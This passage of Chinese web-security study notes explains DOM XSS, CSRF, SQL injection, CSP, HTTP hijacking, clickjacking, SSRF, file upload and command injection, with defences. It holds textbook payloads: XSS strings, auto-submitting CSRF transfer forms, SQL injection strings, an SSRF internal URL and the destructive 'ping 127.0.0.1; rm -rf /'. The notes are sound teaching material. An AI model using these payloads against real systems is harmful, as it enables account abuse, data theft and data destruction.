innerHTML属性,若代码document.getElementById('target').innerHTML = userInput;,这里userInput可控且未经过滤,攻击者输入<script>恶意代码</script>,就会被插入到指定 DOM 元素中并执行。也可通过动态修改 URL 片段(如hash部分 ),当页面读取该部分并进行 DOM 操作时触发恶意代码执行 。 - 事件处理器劫持:劫持 DOM 元素的事件处理器,如
onclick、onmouseover等。比如在一个按钮的onclick事件中注入恶意脚本,当用户点击按钮时触发执行 。 - 客户端重定向与操作:修改客户端的重定向行为,让用户访问恶意网站,或篡改浏览器历史记录等
危害
- 破坏页面功能:篡改页面内容,破坏正常的页面逻辑和功能,影响用户体验 。
案例一:利用 URL 的 hash 片段
- 漏洞代码:某网站存在这样的代码
const userInput = window.location.hash.substring(1);,其功能是从 URL 的 hash 片段中提取内容并直接渲染到页面。 - 攻击方式:攻击者构造恶意 URL
https://target.com/#<img src=x onerror=alert(1)>。当用户访问该 URL 时,浏览器解析 URL,获取#后的内容,由于代码直接使用innerHTML将userInput渲染到页面,而没有对其进行任何过滤或编码,导致<img>标签的onerror事件被触发,执行alert(1),弹出警告框,从而实现 XSS 攻击。
案例二:在线论坛搜索栏漏洞
- 漏洞代码:论坛页面的 JavaScript 代码会动态解析 URL 参数中的搜索内容,并将其插入到 DOM 中用于显示搜索结果。例如,使用
document.getElementById('search - result').innerHTML = decodeURIComponent(searchParam);来设置搜索结果的显示内容,其中searchParam是从 URL 参数中获取的搜索关键词。 - 攻击方式:攻击者在论坛帖子中留下恶意链接,如
https://forum.example.com/search?search=<script>alert(document.cookie)</script>。当用户点击该链接进行搜索时,页面中的 JavaScript 代码会将 URL 参数中的恶意脚本插入到 DOM 中,浏览器执行该脚本,弹出包含用户Cookie信息的警告框,攻击者即可获取用户的会话信息等敏感数据。
DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。
CSRF攻击的原理、具体案例,分类,前端如何防御,为什么会造成csrf攻击 ⭐️⭐️
跨站请求伪造(CSRF)详解
CSRF(Cross-Site Request Forgery,跨站请求伪造)是一种利用 用户已认证身份(登录) 在不知情时执行非预期操作的网络攻击。其核心在于攻击者诱使用户的浏览器向目标网站发送伪造的请求,从而以用户权限执行敏感操作(如转账、修改密码等)。
一、CSRF攻击原理
-
攻击流程:
- 用户登录受信任网站(如银行网站
bank.com),并保留会话Cookie。 - 用户访问恶意网站(如
evil.com),该网站包含一个自动提交的请求(如转账表单或图片标签)。 - 用户浏览器向
bank.com发送请求时,自动携带已保存的Cookie。 - 服务器认为这是用户发起的合法请求,执行操作(如转账)。
- 用户登录受信任网站(如银行网站
-
关键条件:
- 目标网站依赖Cookie等自动携带的凭证进行身份验证。
- 攻击者能
构造出合法的请求参数(如转账接口的URL和参数)。 - 用户已登录目标网站,且浏览器未关闭或会话未过期。
二、CSRF攻击示例
场景一:银行转账功能
假设银行转账接口为:
GET /transfer?to=attacker&amount=1000 HTTP/1.1
Host: bank.com
攻击者在恶意网站中嵌入以下代码:
<img src="http://bank.com/transfer?to=attacker&amount=1000" width="0" height="0">
用户访问该页面时,浏览器自动发送GET请求,完成转账。
进阶:POST请求伪造
若银行使用POST请求,攻击者可通过隐藏表单实现:
<form action="http://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('csrf-form').submit();</script>
场景二:微博发帖删帖
一句话就是我们利用 CSRF 攻击就是借用用户的身份去执行用户的操作。先看一个例子(白帽子讲 web 安全),一个删除搜狐博客的例子,利用 CSRF 删除搜狐博客。正常情况下,登陆搜狐博客后,只需请求这个 url,就能把编号 156713012 的博客文章删除。
三、CSRF与XSS的区别
| 特性 | CSRF | XSS |
|---|---|---|
| 攻击目标 | 诱导用户执行操作 | 注入恶意脚本 |
| 依赖条件 | 用户已登录 | 网站未过滤的用户输入 |
| 防御重点 | 验证请求来源或用户意图 | 输入过滤与输出编码 |
四、CSRF防御措施
1. CSRF Token(最常用)
- 原理:
在表单或请求参数中添加随机生成的Token,服务器验证Token是否合法。 - 实现步骤:
- 用户访问表单页面时,
服务器生成随机Token(如csrf_token=abc123),存储在Session中。 - 表单提交时携带该Token(如隐藏字段
<input type="hidden" name="csrf_token" value="abc123">)。(或者隐藏令牌方法:把 token 隐藏在 http 的 head头中) - 服务器收到请求后,比对请求中的Token与Session中的值是否一致。
- 用户访问表单页面时,
- 优点:有效防御CSRF,适用于所有敏感操作。
- 缺点:需确保Token保密性(避免被XSS窃取)。
2. SameSite Cookie属性
- 原理:
通过设置Cookie的SameSite属性,限制跨站请求时自动发送Cookie。 - 可选值:
- Strict:仅同站请求携带Cookie(完全禁止跨站请求)。
- Lax(默认):允许部分安全HTTP方法(如GET)的跨站请求携带Cookie。
- None:关闭SameSite限制(需同时设置
Secure属性,仅限HTTPS)。
- 示例:
Set-Cookie: sessionID=abc123; SameSite=Lax; Secure
3. 验证HTTP Referer/Origin头
-
原理:
检查请求头中的Referer或Origin字段是否来自可信域名。 Referer 指的是页面请求来源。意思是,只接受本站的请求,服务器才做响应。如果不是,就拦截。
作用: 可以在一定程度上防止CSRF攻击
缺陷:低版本的浏览器中,Referer参数可以被伪造 -
局限性:
Referer可能被用户浏览器禁用或篡改。- 部分场景(如HTTPS跳转HTTP)会导致
Referer丢失。
-
示例代码(伪代码):
if request.referer not in ["https://bank.com", "https://app.bank.com"]: return "Invalid request source"
4. 双重验证(用户交互确认)
- 原理:
对敏感操作(如转账、修改密码)要求用户二次确认(如输入密码、短信验证码)。 - 优点:直接阻断自动化攻击。
- 缺点:影响用户体验,不适用于高频操作。
五、防御方案选择建议
-
优先组合使用CSRF Token和SameSite Cookie:
- CSRF Token保护表单和敏感操作。
- SameSite Cookie提供额外防御层,防止Cookie被跨站请求携带。
-
关键操作添加双重验证:
如修改密码、资金交易等需用户主动确认。
六、真实案例
- YouTube CSRF漏洞(2008年):
攻击者利用未受保护的AJAX接口,诱使用户点击恶意链接后自动订阅频道或发送垃圾消息。 - 某社交平台CSRF导致批量关注(2016年):
恶意网站通过伪造关注请求,导致用户账号自动关注大量垃圾账号。
七、测试与验证
- 手动测试:
- 构造恶意表单或URL,观察目标操作是否无需用户交互即可完成。
- 使用工具(如Burp Suite)生成CSRF PoC(Proof of Concept)。
- 自动化扫描:
通过OWASP ZAP、Acunetix等工具检测接口是否缺失CSRF防护。
八、扩展:CSRF与CORS的关系
- CORS(跨域资源共享):
控制哪些外部域名可以访问资源,但CORS不防御CSRF!即使接口不允许跨域访问,攻击者仍可通过<form>或<img>标签触发请求(浏览器仍会发送请求,但无法读取响应)。
九、总结
CSRF攻击利用的是用户对目标网站的信任,防御的核心在于确保请求是用户的真实意图。通过CSRF Token、SameSite Cookie、Referer验证等多层防护,结合安全开发实践,可有效抵御此类攻击。开发者需在设计和编码阶段充分考虑安全机制,避免遗留漏洞。
CSRF分类
POST类型的CSRF
这种类型的CSRF利用起来通常使用的是一个自动提交的表单,如:
<form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>
POST类型的攻击通常比GET要求更加严格一点,但仍并不复杂。任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许POST上面。
链接类型的CSRF
链接类型的CSRF并不常见,比起其他两种用户打开页面就中招的情况,这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
重磅消息!!
<a/>
由于之前用户登录了信任的网站A,并且保存登录状态,只要用户主动访问上面的这个PHP页面,则表示攻击成功。
CSRF的特点
- 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。
- 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。
- 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。
- 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。
CSRF通常是跨域的,因为外域通常更容易被攻击者掌控。但是如果本域下有容易被利用的功能,比如可以发图和链接的论坛和评论区,攻击可以直接在本域下进行,而且这种攻击更加危险
详细介绍SQL注入攻击
SQL注入详解
SQL注入(SQL Injection)是一种利用应用程序对用户输入处理不当,向数据库注入恶意SQL代码的攻击方式。攻击者通过构造特殊输入,绕过应用程序的验证逻辑,改变原本的查询逻辑,直接操纵数据库执行非法操作(如数据窃取、篡改或删除)。作为OWASP Top 10长期位居榜首的漏洞,理解SQL注入的原理与防御至关重要。
一、SQL注入的原理
1. 漏洞成因
- 当应用程序使用用户输入来构造 SQL 查询时,如果没有对输入进行充分的验证和过滤,攻击者就可以利用这一点,
插入恶意的 SQL 代码,改变原本的查询逻辑,从而实现对数据库的非法操作。
2. 攻击逻辑
- 输入可控性:用户输入被当作SQL代码的一部分执行。
- 执行上下文:注入的代码在数据库引擎中被解析,而非应用程序。
二、SQL注入类型与攻击示例
- 整数型注入:常见于对数字参数进行操作的 SQL 查询中。例如,一个查询语句可能是
SELECT * FROM users WHERE id = $id,如果$id是用户输入且未经过滤,攻击者可以将$id的值设置为1 OR 1=1,这样查询就会变成SELECT * FROM users WHERE id = 1 OR 1=1,由于1=1恒成立,就会返回所有用户的信息,而不仅仅是id为1的用户信息。 - 字符串型注入:通常发生在对字符串参数进行处理的 SQL 查询中。例如,
SELECT * FROM users WHERE username = '$username' AND password = '$password',攻击者可以通过在$username或$password字段中输入特殊的字符串来改变查询逻辑。比如,将$username设置为' OR '1'='1' --,--是 SQL 中的注释符号,这会使查询变为SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = '$password',同样会导致所有用户信息被返回,因为'1'='1'恒成立,后面的密码验证部分被注释掉了。 - 盲注:当攻击者无法直接从数据库获取结果,但可以通过注入语句来影响数据库的行为,并根据一些间接的迹象(如页面加载时间、返回的错误信息等)来推断注入是否成功以及获取信息时,就发生了盲注攻击。例如,攻击者可以通过构造注入语句让数据库执行一些条件判断,如果条件为真则执行一个耗时的操作,通过观察页面加载时间来判断条件是否成立,从而逐步获取数据库中的信息。
三、SQL注入的危害
- 数据泄露:窃取用户信息、商业机密等敏感数据。
- 数据篡改:
修改订单金额、用户权限等。 - 拒绝服务(DoS):删除关键表或消耗数据库资源。
四、SQL注入的防御措施
1. 参数化查询(Prepared Statements)
-
参数化查询:这是防范 SQL 注入攻击的最有效方法之一(原理:分离SQL代码与数据,
避免输入被解析为代码)。使用参数化查询,应用程序会将用户输入作为参数传递给数据库,而不是将其直接嵌入到 SQL 语句中。这样可以确保用户输入不会被解析为 SQL 代码,从而避免注入攻击。例如:在 Java 中使用
PreparedStatement,在 Python 中使用sqlite3模块的参数化查询功能等。 -
验证和过滤:对用户输入进行严格的验证和过滤,确保输入符合预期的格式和范围。可以使用正则表达式等方法来检查输入是否包含非法字符或 SQL 关键字。不过,输入验证不能完全替代参数化查询,因为攻击者可能会绕过验证机制。
-
最小化权限:为数据库用户分配最小的权限,只授予其执行必要操作所需的权限。这样即使发生 SQL 注入攻击,攻击者也无法执行超出其权限范围的恶意操作。
-
定期进行安全审计和漏洞扫描:定期对应用程序和数据库进行安全审计和漏洞扫描,及时发现和修复潜在的 SQL 注入漏洞。可以使用专业的安全工具来检测应用程序中的漏洞,并及时更新应用程序和数据库的版本,以修复已知的安全漏洞。
六、真实案例
- 索尼被黑事件(2011年):
攻击者通过SQL注入获取超1亿用户的个人信息,包括密码、信用卡号。 - 心脏出血漏洞后续攻击:
部分攻击者利用OpenSSL漏洞获取服务器内存数据后,结合SQL注入进一步渗透。
七、总结
SQL注入的防御核心是永不信任用户输入。通过参数化查询、ORM框架、输入验证等多层防护,结合安全开发实践(如代码审计、渗透测试),可有效消除此类漏洞。开发者需始终将安全作为设计的第一原则,而非事后补救。
详细讲一讲 Content-Security-Policy(内容安全策略)⭐️⭐️
Content - Security - Policy(CSP)是一种用于增强网络安全的机制,它通过定义哪些资源可以被加载和执行,来防止跨站脚本攻击(XSS)和其他代码注入攻击(sql)。以下是关于 CSP 的详细介绍:
工作原理
CSP 的核心是通过设置一组策略规则,告诉浏览器哪些来源的内容可以被加载和执行,限制加载其他未被授权的资源。这些策略可以通过 HTTP 响应头中的Content - Security - Policy字段 或者 HTML 页面中的<meta>标签来定义。
一、CSP 的作用
- 资源控制
网站管理员可以根据自己的需求,对不同类型的资源分别设置不同的来源限制,实现对网站内容加载的精确控制。例如:通过白名单机制,限制页面可加载的资源来源(如脚本、样式、图片等)。 - 防止 XSS
阻止恶意脚本执行,即使攻击者成功注入代码,CSP 也可限制其加载。因为浏览器会拒绝加载来自非授权来源的潜在恶意脚本和样式。
二、CSP 的配置方式
- HTTP 响应头
Content-Security-Policy: default-src 'self'; script-src https://example.com - HTML Meta 标签
<meta http-equiv="Content-Security-Policy" content="default-src 'self'">
三、常用指令与示例
-
default - src:定义所有资源类型的默认来源。如果某个资源类型没有单独的指令来指定来源,那么就会使用
default - src的设置。例如,Content - Security - Policy: default - src'self'表示只允许从当前网站(同源)加载资源。 -
script - src:专门指定可执行脚本的来源。可以设置为特定的域名、
https:(允许所有 HTTPS 来源)、'self'(当前域名)等。例如,script - src 'https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js'只允许加载指定 CDN 上的 jQuery 脚本。 -
style - src:用于指定样式表的来源。类似于
script - src,可以限制样式表只能从特定的来源加载,以防止恶意样式注入。例如,style - src'self' https://fonts.googleapis.com允许从当前网站和谷歌字体库加载样式。 -
img - src:定义图像的来源。可以是域名、通配符、
data:(允许使用 Data URL)等。比如,img - src'self' data: *允许从当前网站和 Data URL 加载图像,同时允许所有其他域名的图像。 -
font - src:指定字体文件的来源。确保字体只能从可信的来源加载,防止字体文件被篡改或替换。例如,
font - src'self' https://fonts.gstatic.com允许从当前网站和谷歌字体.gstatic.com加载字体。 -
connect - src:限制通过脚本发起的连接源,如
XMLHttpRequest、WebSocket等。这有助于防止数据泄露到未经授权的服务器。例如,connect - src'self' https://api.example.com只允许与当前网站和指定的 API 服务器建立连接。指令 作用 示例值 frame-src嵌套框架(如 iframe)来源 'none'(禁止所有)report-uri违规报告提交地址 /csp-report-endpointreport-to使用 Reporting API 的报告组名 'csp-report-group'
示例
假设一个网站的 CSP 策略如下:
Content - Security - Policy: default - src'self'; script - src'self'
https://cdnjs.cloudflare.com; style - src'self'
https://fonts.googleapis.com; img - src'self' data:; font - src'self'
https://fonts.gstatic.com; connect - src'self' https://api.example.com
这个策略表示:
- 所有资源默认只能从当前网站加载,除非有其他特定指令允许其他来源。
- 脚本可以从当前网站和cdnjs.cloudflare.com加载。
- 样式表可以从当前网站和fonts.googleapis.com加载。
- 图像可以从当前网站和 Data URL 加载。
- 字体可以从当前网站和fonts.gstatic.com加载。
- 脚本发起的连接只能到当前网站和api.example.com。
四、关键来源值
'none':禁止任何来源。'self':仅允许同源(协议+域名+端口)。'unsafe-inline':允许内联脚本/样式(可能降低安全性)。'unsafe-eval':允许eval()等动态代码执行。https::仅允许 HTTPS 来源。data::允许 Data URL(如 Base64 图片)。- 域名或 IP:指定具体来源(如
https://cdn.example.com)。
五、报告机制
- 即时阻止并报告
使用Content-Security-Policy头,违规资源会被阻止加载,同时发送报告。 - 仅报告不阻止
使用Content-Security-Policy-Report-Only头,仅发送报告(用于调试阶段)。
示例配置:
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
违规报告格式:
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src",
"blocked-uri": "http://malicious.com/script.js",
"line-number": 42
}
}
部署建议
- 逐步实施:在部署 CSP 时,可以先以报告模式运行,即通过
Content - Security - Policy - Report - Only头来收集违反策略的报告,而不实际阻止资源加载。这样可以帮助网站管理员了解现有网站的资源使用情况,以及哪些资源可能会受到 CSP 的影响,以便在正式实施前进行必要的调整。 - 监控和更新:定期监控 CSP 的报告,及时发现新出现的资源加载问题,并根据网站的发展和需求变化,适时更新 CSP 策略。同时,要确保 CSP 策略不会对网站的正常功能和用户体验产生负面影响。
- 与其他安全措施结合使用:CSP 是网络安全防御体系的一部分,应与其他安全措施(如输入验证、身份验证、访问控制等)结合使用,形成更全面的安全防护机制。
六、最佳实践
-
最小化权限
从default-src 'none'开始,逐步添加必要权限。 -
禁用危险操作
避免使用'unsafe-inline'和'unsafe-eval',除非绝对必要。 -
监控报告
定期分析违规报告,优化策略并发现潜在攻击。
通过合理配置 CSP,可显著提升网站安全性,但需结合具体业务需求平衡安全与功能。
HTTP劫持、页面劫持的原理、防御措施
HTTP劫持详解
HTTP劫持(HTTP Hijacking)是一种网络攻击手段,攻击者在用户与目标服务器之间 拦截、篡改或重定向HTTP通信,以达到窃取数据、植入广告、钓鱼诈骗等目的。由于HTTP协议本身是明文传输且缺乏完整性验证,使其成为劫持的主要目标。以下是关于HTTP劫持的全面解析:
一、HTTP劫持的类型
1. DNS劫持
- 原理:
攻击者篡改DNS解析结果,将用户对合法域名的请求重定向到恶意服务器。 - 常见场景:
- 路由器或本地主机被恶意软件感染,修改DNS配置。
- 运营商或公共WiFi提供商劫持DNS响应,插入广告或监控流量。
- 示例:
用户访问www.example.com,DNS被篡改解析到1.2.3.4(攻击者服务器),用户看到伪造的钓鱼页面。
2. 中间人攻击(Man-in-the-Middle, MITM)
- 原理:
攻击者在用户与服务器之间建立代理,实时窃听或篡改通信内容。 - 实现方式:
- ARP欺骗:伪造局域网内设备的MAC地址,劫持流量。
- SSL剥离(针对HTTPS):强制将HTTPS连接降级为HTTP,再实施劫持。
- 示例:
用户访问HTTP网站时,攻击者注入恶意脚本到页面中,窃取表单提交的账号密码。
3. 会话劫持(Session Hijacking)
- 原理:
窃取用户的会话Cookie或Token,冒充用户身份访问服务。 - 依赖条件:
- 未启用HTTPS,Cookie未设置
Secure和HttpOnly属性。 - 攻击者能捕获明文传输的Cookie(如通过嗅探公共WiFi流量)。
- 未启用HTTPS,Cookie未设置
三、HTTP劫持的影响
- 隐私泄露:
- 窃取登录凭证、银行卡号、聊天记录等敏感信息。
- 经济损失:
- 篡改支付页面,诱导用户向攻击者账户转账。
四、HTTP劫持的检测方法
1. 手动检测
- 检查网页内容:
对比不同网络环境(如蜂窝数据 vs. 家庭WiFi)下同一网页是否包含异常内容。 - 查看证书有效性:
若访问HTTP网站时浏览器提示证书错误,可能遭遇SSL剥离攻击。
2. 工具检测
- Wireshark:
抓包分析HTTP流量,检查是否存在第三方注入内容。 - Fiddler/Charles:
拦截并查看HTTP请求与响应,识别篡改痕迹。
五、HTTP劫持的防御措施
1. 强制使用HTTPS
- 原理:
HTTPS通过加密和完整性校验,防止数据被窃听或篡改。 - 实现方式:
- 服务器配置SSL/TLS证书,启用全站HTTPS。
- 使用HTTP Strict Transport Security(HSTS)头,强制浏览器仅通过HTTPS连接。
Strict-Transport-Security: max-age=31536000; includeSubDomains
2. DNS安全加固
- 使用可信DNS服务:
如Cloudflare DNS(1.1.1.1)、Google DNS(8.8.8.8)。 - 启用DNSSEC:
防止DNS响应被伪造(需域名注册商和DNS服务商支持)。
3. 网络环境防护
- 避免公共WiFi敏感操作:
不在公共网络登录银行账户或输入密码。 - 使用VPN:
加密所有流量,防止中间人嗅探(选择无日志记录的可靠VPN服务)。
点击劫持(Clickjacking) ⭐️⭐️
- 原理:攻击者将目标网页嵌入透明 iframe 层中,诱骗用户点击看似无害的按钮(实际触发隐藏操作)。
- 示例:伪造一个覆盖在“点赞”按钮上的透明 iframe,用户点击后实际执行转账操作。
- 防御:
- 使用 CSP 的
frame-ancestors指令限制嵌入来源。 - X - Frame - Options 响应头(XFO):网站开发者可以在服务器端设置
X - Frame - Options响应头,告诉浏览器是否允许该页面在 iframe 中显示。通过设置X - Frame - Options为DENY或SAMEORIGIN,可以防止页面被嵌入到其他网站的 iframe 中,从而有效防范点击劫持攻击。 - JavaScript 检测:可以使用 JavaScript 代码来检测页面是否被嵌入到 iframe 中。通过检查
window.top和window.self是否相等,如果不相等,则说明页面可能被嵌套在 iframe 中,此时可以采取一些措施,如弹出警告框提示用户,或者直接阻止页面的某些操作。
- 使用 CSP 的
web安全攻击方式及防御方法
除了 XSS、CSRF 和 SQL 注入之外,Web 应用中还存在许多其他安全攻击方式。以下是详细的分类和解释:
1. 服务器端请求伪造(SSRF, Server-Side Request Forgery)
- 原理:攻击者诱使服务端发起任意 HTTP 请求,访问内网资源或敏感接口。
- 示例:利用服务端的图片下载功能,传入
http://127.0.0.1/admin窃取内网数据。- 防御:
- 校验用户输入的 URL(如限制协议、域名、端口)。
- 禁止访问内网 IP 段。
- 使用白名单机制。
定义
攻击者通过构造恶意请求,欺骗服务器端应用程序,使其发起到任意服务器的请求,从而利用服务器的权限来访问内部网络、敏感信息或执行其他恶意操作。
攻击原理
通常是因为应用程序提供了从其他服务器获取数据的功能,但没有对用户输入的目标地址进行严格的验证和过滤。攻击者利用这一点,通过控制用户输入,将恶意构造的 URL 插入到应用程序的请求中,诱导服务器发起请求到攻击者指定的地址。由于服务器通常具有比普通用户更高的网络权限,攻击者就可以借助服务器作为跳板,访问那些从外网无法直接访问的内部系统或服务。
攻击方式
- 端口扫描:攻击者可以利用 SSRF 漏洞对外网、服务器所在内网或本地进行端口扫描,获取服务的相关信息,如服务的版本号、运行状态等,以便进一步寻找可利用的漏洞。
- 攻击内网应用程序:对内网或本地运行的应用程序发起攻击,例如向存在漏洞的 Web 应用发送特制请求,触发 SQL 注入、跨站脚本攻击(XSS)等漏洞,从而获取敏感信息或控制应用程序。
- 下载内网资源:通过 SSRF 漏洞,攻击者可以利用 file 协议读取服务器上的本地文件,获取敏感数据,如配置文件、用户密码等。还可以利用其他协议,如 FTP 协议访问 FTP 服务器,进行文件操作或窃取敏感信息。
危害
- 敏感信息泄露:
- 内部系统被攻击:
- 作为跳板进行进一步攻击:
防范措施
- 输入验证和过滤:对用户输入的 URL 或其他与请求相关的数据进行严格的验证和过滤,限制输入的格式和内容,不允许包含恶意的协议、特殊字符或非法的地址。可以使用白名单机制,只允许访问特定的、合法的域名和 IP 地址。
- 限制协议使用:明确限制应用程序只能使用特定的安全协议,如 HTTP、HTTPS,禁止使用可能存在风险的协议,如 file、ftp 等,以防止攻击者利用这些协议进行文件读取或其他恶意操作。
- 防火墙和网络隔离:设置防火墙和其他网络隔离措施,将内部网络与外部网络隔离开来,限制服务器对外网和内网的访问权限,只允许必要的流量通过。同时,对内部网络进行合理的分段,不同网段之间进行严格的访问控制,减少 SSRF 攻击可能造成的影响范围。
2. 文件上传漏洞
- 原理:上传恶意文件(如 .php、.jsp)到服务器,通过访问文件路径执行任意代码。
- 绕过手段:
- 修改文件扩展名(如
shell.php.jpg)。- 篡改 Content-Type(如
image/jpeg)。- 防御:
- 严格校验文件类型(检查文件头而非扩展名)。
- 将文件存储在非 Web 根目录,并通过代理访问。
- 禁用上传文件的可执行权限。
定义
文件上传漏洞是指由于应用程序对用户上传的文件缺乏严格的验证和过滤,导致攻击者能够上传恶意文件到服务器,并在服务器上执行恶意代码,从而获取服务器的控制权或进行其他恶意操作。
漏洞原理
- 验证不足:应用程序在接收和处理用户上传的文件时,没有对文件的类型、大小、内容等进行充分的验证。例如,仅通过文件扩展名来判断文件类型,而没有检查文件的实际内容,攻击者就可以通过修改文件扩展名来绕过验证,上传恶意文件。
- 路径遍历:应用程序在保存上传文件时,没有对文件保存路径进行正确的处理,导致攻击者可以通过构造特殊的文件名或路径,将文件上传到服务器的任意位置,甚至覆盖重要的系统文件或执行恶意脚本。
攻击方式
- 上传恶意脚本:攻击者将包含恶意代码的脚本文件(如 PHP、ASP、JSP 等)上传到服务器,一旦这些脚本被访问,就会在服务器上执行,攻击者可以利用这些脚本来获取服务器的敏感信息、控制服务器或进行其他恶意操作。
- 上传可执行文件:上传可执行的二进制文件,如.exe 文件,然后通过各种方式在服务器上运行该文件,从而实现对服务器的攻击,例如植入木马程序、窃取数据等。
- 利用文件包含漏洞:如果服务器存在文件包含漏洞,攻击者可以上传一个包含恶意代码的文件,然后通过文件包含功能让服务器执行该文件中的代码,进而达到攻击目的。
危害
- 服务器被控制:攻击者通过上传恶意文件并执行,可以获取服务器的管理员权限,从而完全控制服务器,包括修改网站内容、窃取用户数据、安装后门程序等。
- 数据泄露:攻击者可以利用文件上传漏洞获取服务器上的敏感文件,如数据库配置文件、用户密码文件等,导致用户数据泄露,给用户和企业带来严重的损失。
- 网站被篡改:攻击者可以上传恶意文件替换网站的正常页面,将用户重定向到恶意网站,或者在网站上发布非法信息,影响网站的正常运行和声誉。
防范措施
- 严格的文件验证:对上传文件的类型、大小、内容进行全面验证。不仅要检查文件扩展名,还要通过文件头信息等方式验证文件的真实类型,防止攻击者通过修改扩展名绕过验证。限制上传文件的大小,避免上传过大的文件占用服务器资源或导致缓冲区溢出。
- 安全的文件存储:使用随机生成的文件名和固定的存储路径来保存上传文件,避免使用用户提供的文件名或可预测的路径。对文件保存路径进行严格的检查和过滤,防止路径遍历攻击,确保文件只能保存在指定的安全目录中。
- 执行环境限制:为上传文件的执行环境设置严格的权限和限制,避免上传的文件具有过高的权限。例如,限制上传文件的执行权限,只允许必要的操作,防止恶意文件对服务器系统造成破坏。
,在 Java 中可以使用
java.nio.file.Paths类的相关方法来处理文件路径,确保路径的安全性。
3. OS 命令注入
- 原理:用户输入被拼接到系统命令中执行。
- 示例:
ping 127.0.0.1; rm -rf /。- 防御:
- 避免直接调用系统命令(使用安全的 API 替代)。
- 对用户输入进行严格过滤(如白名单校验)。
定义
攻击者通过利用应用程序对用户输入的不当处理,将恶意的操作系统命令注入到应用程序所执行的命令中,从而在服务器上执行任意的操作系统命令,获取服务器的控制权或执行其他恶意操作。
4. DoS/DDoS 攻击
- 原理:通过大量请求耗尽服务器资源。
- 防御:使用 CDN、速率限制、Web 应用防火墙(WAF)。
DoS(Denial of Service,拒绝服务)攻击和 DDoS(Distributed Denial of Service,分布式拒绝服务)攻击是网络安全领域中常见的攻击方式,以下是对它们的详细介绍:
定义
- DoS 攻击:通过向目标系统发送大量的请求或消耗其资源,导致目标系统无法正常处理合法用户的请求,从而使服务中断或变得不可用。
- DDoS 攻击:是 DoS 攻击的一种扩展形式,攻击者利用多个计算机或设备(通常被称为 “僵尸网络”)同时向目标系统发起攻击,以达到更强大的攻击效果,使目标系统更难以承受攻击流量。
总结与防御建议
-
输入验证与过滤
- 对所有用户输入进行白名单校验。
-
最小权限原则
- 限制服务、数据库、文件的访问权限。
-
安全配置
- 禁用不必要的服务,更新默认密码,配置安全头(如 CSP、HSTS)。
-
依赖管理
-
工具辅助
- 使用 OWASP ZAP、Burp Suite 等工具进行渗透测试。
通过多层次的防御策略,可以显著降低这些攻击的成功率。